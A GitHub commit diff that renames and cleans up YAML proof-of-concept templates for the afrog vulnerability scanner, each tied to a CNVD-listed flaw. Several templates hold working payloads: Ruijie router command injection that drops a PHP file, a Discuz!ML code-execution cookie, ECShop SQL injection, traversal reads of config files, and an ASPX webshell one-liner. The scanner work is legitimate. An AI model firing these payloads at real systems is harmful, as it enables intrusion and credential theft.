Skip to content

Commit 8692a1f

Browse files
zan8inzan8in
committed
afrog-pocs v0.0.2
1 parent 8afb897 commit 8692a1f

File tree

439 files changed

+669
-2613
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

439 files changed

+669
-2613
lines changed

‎afrog-pocs/unreviewed/resin-cnnvd-200705-315.yml ‎afrog-pocs/CNVD/2007/CNVD-200705-315.yaml

+2-6
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,14 @@
1-
id: resin-cnnvd-200705-315
1+
id: CNNVD-200705-315
22

33
info:
4-
name: resin-cnnvd-200705-315
4+
name: Caucho Resin Information Disclosure
55
author: whynot(https://github.com/notwhy)
66
severity: high
77

8-
manual: true
9-
transport: http
108
rules:
119
r0:
1210
request:
13-
cache: true
1411
method: GET
1512
path: /%20../web-inf/
16-
follow_redirects: false
1713
expression: response.status == 200 && response.body.bcontains(b"/ ../web-inf/") && response.body.bcontains(b"Directory of /")
1814
expression: r0()

‎afrog-pocs/CNVD/2017/CNVD-2017-20077.yaml

+26
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
id: CNVD-2017-20077
2+
3+
info:
4+
name: Ueditor编辑器.net版本存在文件上传漏洞
5+
author: zan8in
6+
severity: critical
7+
description: |
8+
<form action="http://8.8.8.8:8001/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
9+
http://vps/11.jpg?.aspx 11.jpg是图片马；制作图片马：copy 1.jpg/b +2.aspx 3.aspx
10+
aspx一句话：<%@ Page Language="Jscript"%><%eval(Request.Item["zan8in"],"unsafe");%>
11+
reference:
12+
- https://www.CNVD.org.cn/flaw/show/CNVD-2017-20077
13+
- https://zhuanlan.zhihu.com/p/85265552
14+
- https://www.freebuf.com/vuls/181814.html
15+
16+
rules:
17+
r0:
18+
request:
19+
method: GET
20+
path: /ueditor/net/controller.ashx?action=catchimage&encode=utf-8
21+
headers:
22+
Accept-Encoding: 'deflate'
23+
follow_redirects: false
24+
expression: |
25+
response.status == 200 && response.body.bcontains(bytes(string("没有指定抓取源")))
26+
expression: r0()

‎afrog-pocs/unreviewed/metinfo-lfi-cnvd-2018-13393.yml ‎afrog-pocs/CNVD/2018/CNVD-2018-13393.yaml

+2-5
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,13 @@
1-
id: metinfo-lfi-cnvd-2018-13393
1+
id: CNVD-2018-13393
22

33
info:
4-
name: metinfo-lfi-cnvd-2018-13393
4+
name: Metinfo file read
55
author: JingLing(https://hackfun.org/)
66
severity: high
77

8-
manual: true
9-
transport: http
108
rules:
119
r0:
1210
request:
13-
cache: true
1411
method: GET
1512
path: /include/thumb.php?dir=http\..\admin\login\login_check.php
1613
follow_redirects: true

‎afrog-pocs/unreviewed/xiuno-bbs-cvnd-2019-01348-reinstallation.yml ‎afrog-pocs/CNVD/2019/CNVD-2019-01348.yaml

+2-6
Original file line numberDiff line numberDiff line change
@@ -1,21 +1,17 @@
1-
id: xiuno-bbs-cvnd-2019-01348-reinstallation
1+
id: CNVD-2019-01348
22

33
info:
4-
name: xiuno-bbs-cvnd-2019-01348-reinstallation
4+
name: Xiuno BBS CNVD-2019-01348
55
author: 清风明月(www.secbook.info)
66
severity: high
77

8-
manual: true
9-
transport: http
108
rules:
119
r0:
1210
request:
13-
cache: true
1411
method: GET
1512
path: /install/
1613
headers:
1714
Accept-Encoding: deflate
18-
follow_redirects: false
1915
expression: response.status == 200 && response.body.bcontains(bytes(string("/view/js/xiuno.js"))) && response.body.bcontains(bytes(string("Choose Language (选择语言)")))
2016
expression: r0()
2117

‎afrog-pocs/unreviewed/coremail-cnvd-2019-16798.yml ‎afrog-pocs/CNVD/2019/CNVD-2019-16798.yaml

+2-4
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,10 @@
1-
id: coremail-cnvd-2019-16798
1+
id: CNVD-2019-16798
22

33
info:
4-
name: coremail-cnvd-2019-16798
4+
name: Coremail Information Disclosure
55
author: cc_ci(https://github.com/cc8ci)
66
severity: high
77

8-
manual: true
9-
transport: http
108
rules:
119
r0:
1210
request:

‎afrog-pocs/unreviewed/discuz-ml3x-cnvd-2019-22239.yml ‎afrog-pocs/CNVD/2019/CNVD-2019-22239.yaml

+3-9
Original file line numberDiff line numberDiff line change
@@ -1,32 +1,26 @@
1-
id: discuz-ml3x-cnvd-2019-22239
1+
id: CNVD-2019-22239
22

33
info:
4-
name: discuz-ml3x-cnvd-2019-22239
4+
name: Discuz!ML 3.x 任意代码执行
55
author: X.Yang
6-
severity: high
6+
severity: critical
77

8-
manual: true
9-
transport: http
108
set:
119
r1: randomInt(800000000, 1000000000)
1210
rules:
1311
r0:
1412
request:
15-
cache: true
1613
method: GET
1714
path: /forum.php
18-
follow_redirects: false
1915
expression: response.status == 200
2016
output:
2117
search: '"cookiepre = ''(?P<token>[\\w_]+)''".bsubmatch(response.body)'
2218
token: search["token"]
2319
r1:
2420
request:
25-
cache: true
2621
method: GET
2722
path: /forum.php
2823
headers:
2924
Cookie: '{{token}}language=sc''.print(md5({{r1}})).'''
30-
follow_redirects: false
3125
expression: response.status == 200 && response.body.bcontains(bytes(md5(string(r1))))
3226
expression: r0() && r1()

‎afrog-pocs/unreviewed/joomla-cnvd-2019-34135-rce.yml ‎afrog-pocs/CNVD/2019/CNVD-2019-34135.yaml

+2-6
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,16 @@
1-
id: joomla-cnvd-2019-34135-rce
1+
id: CNVD-2019-34135
22

33
info:
4-
name: joomla-cnvd-2019-34135-rce
4+
name: Joomla configuration.php RCE
55
author: X.Yang
66
severity: high
77

8-
manual: true
9-
transport: http
108
set:
119
r1: randomLowercase(10)
1210
r2: randomLowercase(10)
1311
rules:
1412
r0:
1513
request:
16-
cache: true
1714
method: GET
1815
path: /
1916
headers:
@@ -25,7 +22,6 @@ rules:
2522
token: search["token"]
2623
r1:
2724
request:
28-
cache: true
2925
method: POST
3026
path: /
3127
headers:

‎afrog-pocs/unreviewed/xunchi-cnvd-2020-23735-file-read.yml ‎afrog-pocs/CNVD/2020/CNVD-2020-23735.yaml

+2-6
Original file line numberDiff line numberDiff line change
@@ -1,21 +1,17 @@
1-
id: xunchi-cnvd-2020-23735-file-read
1+
id: CNVD-2020-23735
22

33
info:
4-
name: xunchi-cnvd-2020-23735-file-read
4+
name: Xxunchi Local File read
55
author: 清风明月(www.secbook.info)
66
severity: high
77

8-
manual: true
9-
transport: http
108
rules:
119
r0:
1210
request:
13-
cache: true
1411
method: GET
1512
path: /backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php
1613
headers:
1714
Accept-Encoding: deflate
18-
follow_redirects: false
1915
expression: response.status == 200 && response.body.bcontains(bytes(string("NzbwpQSdbY06Dngnoteo2wdgiekm7j4N"))) && response.body.bcontains(bytes(string("display_errors")))
2016
expression: r0()
2117

‎afrog-pocs/unreviewed/e-zkeco-cnvd-2020-57264-read-file.yml ‎afrog-pocs/CNVD/2020/CNVD-2020-57264.yaml

+2-5
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,13 @@
1-
id: e-zkeco-cnvd-2020-57264-read-file
1+
id: CNVD-2020-57264
22

33
info:
4-
name: e-zkeco-cnvd-2020-57264-read-file
4+
name: e-zkeco-CNVD-2020-57264-read-file
55
author: ThestaRY (https://github.com/ThestaRY7/)
66
severity: high
77

8-
manual: true
9-
transport: http
108
rules:
119
r0:
1210
request:
13-
cache: true
1411
method: GET
1512
path: /iclock/ccccc/windows/win.ini
1613
expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support")

‎afrog-pocs/unreviewed/ecshop-cnvd-2020-58823-sqli.yml ‎afrog-pocs/CNVD/2020/CNVD-2020-58823.yaml

+2-5
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,15 @@
1-
id: ecshop-cnvd-2020-58823-sqli
1+
id: CNVD-2020-58823
22

33
info:
4-
name: ecshop-cnvd-2020-58823-sqli
4+
name: ecshop-CNVD-2020-58823-sqli
55
author: 凉风(http://webkiller.cn/)
66
severity: high
77

8-
manual: true
9-
transport: http
108
set:
119
r1: randomInt(40000, 44800)
1210
rules:
1311
r0:
1412
request:
15-
cache: true
1613
method: POST
1714
path: /delete_cart_goods.php
1815
body: id=0||(updatexml(1,concat(0x7e,(select%20md5({{r1}})),0x7e),1))

‎afrog-pocs/cnvd/2020/seeyon-cnvd-2020-62422-readfile.yml ‎afrog-pocs/CNVD/2020/CNVD-2020-62422.yaml

+2-7
Original file line numberDiff line numberDiff line change
@@ -1,21 +1,16 @@
11
id: CNVD-2020-62422
22

33
info:
4-
name: seeyon-cnvd-2020-62422-readfile
4+
name: 致远oa系统存在任意文件读取漏洞
55
author: Aquilao(https://github.com/Aquilao)
66
severity: medium
77
reference:
8-
- https://www.cnvd.org.cn/flaw/show/CNVD-2020-62422
9-
tags: seeyon,cnvd
8+
- https://www.CNVD.org.cn/flaw/show/CNVD-2020-62422
109

11-
manual: true
12-
transport: http
1310
rules:
1411
r0:
1512
request:
16-
cache: true
1713
method: GET
1814
path: /seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties
19-
follow_redirects: false
2015
expression: response.status == 200 && response.content_type.icontains("application/x-msdownload") && response.body.bcontains(b"ctpDataSource.password")
2116
expression: r0()

‎afrog-pocs/unreviewed/h5s-video-platform-cnvd-2020-67113-unauth.yml ‎afrog-pocs/CNVD/2020/CNVD-2020-67113.yaml

+2-6
Original file line numberDiff line numberDiff line change
@@ -1,22 +1,18 @@
1-
id: h5s-video-platform-cnvd-2020-67113-unauth
1+
id: CNVD-2020-67113
22

33
info:
4-
name: h5s-video-platform-cnvd-2020-67113-unauth
4+
name: H5S CONSOLE 存在未授权访问
55
author: iak3ec(https://github.com/nu0l)
66
severity: high
77

8-
manual: true
9-
transport: http
108
rules:
119
h5s1:
1210
request:
13-
cache: true
1411
method: GET
1512
path: /api/v1/GetSrc
1613
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"H5_AUTO") && response.body.bcontains(b"strUser") && response.body.bcontains(b"strPasswd")
1714
h5s2:
1815
request:
19-
cache: true
2016
method: GET
2117
path: /api/v1/GetDevice
2218
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"H5_DEV") && response.body.bcontains(b"strUser") && response.body.bcontains(b"strPasswd")

‎afrog-pocs/login/default-pwd/datang-ac-default-password-cnvd-2021-04128.yml ‎afrog-pocs/CNVD/2021/CNVD-2021-04128.yaml

+2-6
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,16 @@
1-
id: datang-ac-default-password-cnvd-2021-04128
1+
id: CNVD-2021-04128
22

33
info:
4-
name: datang-ac-default-password-cnvd-2021-04128
4+
name: Datang AC Default Password
55
author: B1anda0(https://github.com/B1anda0)
66
severity: high
77

8-
manual: true
9-
transport: http
108
rules:
119
r0:
1210
request:
13-
cache: true
1411
method: POST
1512
path: /login.cgi
1613
body: user=admin&password1=%E8%AF%B7%E8%BE%93%E5%85%A5%E5%AF%86%E7%A0%81&password=123456&Submit=%E7%AB%8B%E5%8D%B3%E7%99%BB%E5%BD%95
17-
follow_redirects: false
1814
expression: response.status == 200 && response.headers["set-cookie"].contains("ac_userid=admin,ac_passwd=") && response.body.bcontains(b"window.open('index.htm?_")
1915
expression: r0()
2016

‎afrog-pocs/cnvd/2021/cnvd-2021-09650.yml ‎afrog-pocs/CNVD/2021/CNVD-2021-09650.yaml

+2-7
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,13 @@
1-
id: cnvd-2021-09650
1+
id: CNVD-2021-09650
22

33
info:
4-
name: ruijie-eweb-rce-cnvd-2021-09650
4+
name: 锐捷网络股份有限公司NBR路由器EWEB网管系统存在命令执行漏洞
55
author: White(https://github.com/WhiteHSBG)
66
severity: high
7-
tags: huijietong,lfi
87
reference:
98
- https://xz.aliyun.com/t/9016?page=1
109
- https://www.ruijie.com.cn/gy/xw-aqtg-gw/86747/
1110

12-
manual: true
13-
transport: http
1411
set:
1512
r1: randomLowercase(4)
1613
r2: randomLowercase(4)
@@ -20,15 +17,13 @@ set:
2017
rules:
2118
r0:
2219
request:
23-
cache: true
2420
method: POST
2521
path: /guest_auth/guestIsUp.php
2622
body: |
2723
ip=127.0.0.1|echo '{{payload}}' | base64 -d > {{r2}}.php&mac=00-00
2824
expression: response.status == 200 && !response.body.bcontains(b'"success":false')
2925
r1:
3026
request:
31-
cache: true
3227
method: GET
3328
path: /guest_auth/{{r2}}.php
3429
expression: response.status == 200 && response.body.bcontains(bytes(r1)) && !response.body.bcontains(b'"success":false')

‎afrog-pocs/unreviewed/eea-info-leak-cnvd-2021-10543.yml ‎afrog-pocs/CNVD/2021/CNVD-2021-10543.yaml

+2-5
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,13 @@
1-
id: eea-info-leak-cnvd-2021-10543
1+
id: CNVD-2021-10543
22

33
info:
4-
name: eea-info-leak-cnvd-2021-10543
4+
name: EEA Information Disclosure
55
author: Search?=Null
66
severity: high
77

8-
manual: true
9-
transport: http
108
rules:
119
r0:
1210
request:
13-
cache: true
1411
method: GET
1512
path: /authenticationserverservlet
1613
expression: response.status == 200 && "<username>(.*?)</username>".bmatches(response.body) && "<password>(.*?)</password>".bmatches(response.body)

‎afrog-pocs/cnvd/2021/ruijie-uac-cnvd-2021-14536.yml ‎afrog-pocs/CNVD/2021/CNVD-2021-14536.yaml

+2-6
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,14 @@
1-
id: ruijie-uac-cnvd-2021-14536
1+
id: CNVD-2021-14536
22

33
info:
4-
name: ruijie-uac-cnvd-2021-14536
4+
name: 锐捷RG-UAC统一上网行为管理审计系统存在信息泄露漏洞
55
author: jweny(https://github.com/jweny)
66
severity: high
77

8-
manual: true
9-
transport: http
108
rules:
119
r0:
1210
request:
13-
cache: true
1411
method: GET
1512
path: /login.php
16-
follow_redirects: false
1713
expression: response.status == 200 && response.body.bcontains(b"<title>RG-UAC登录页面</title>") && response.body.bcontains(b"get_dkey_passwd") && "\"password\":\"[a-f0-9]{32}\"".bmatches(response.body)
1814
expression: r0()

0 commit comments

Comments
 (0)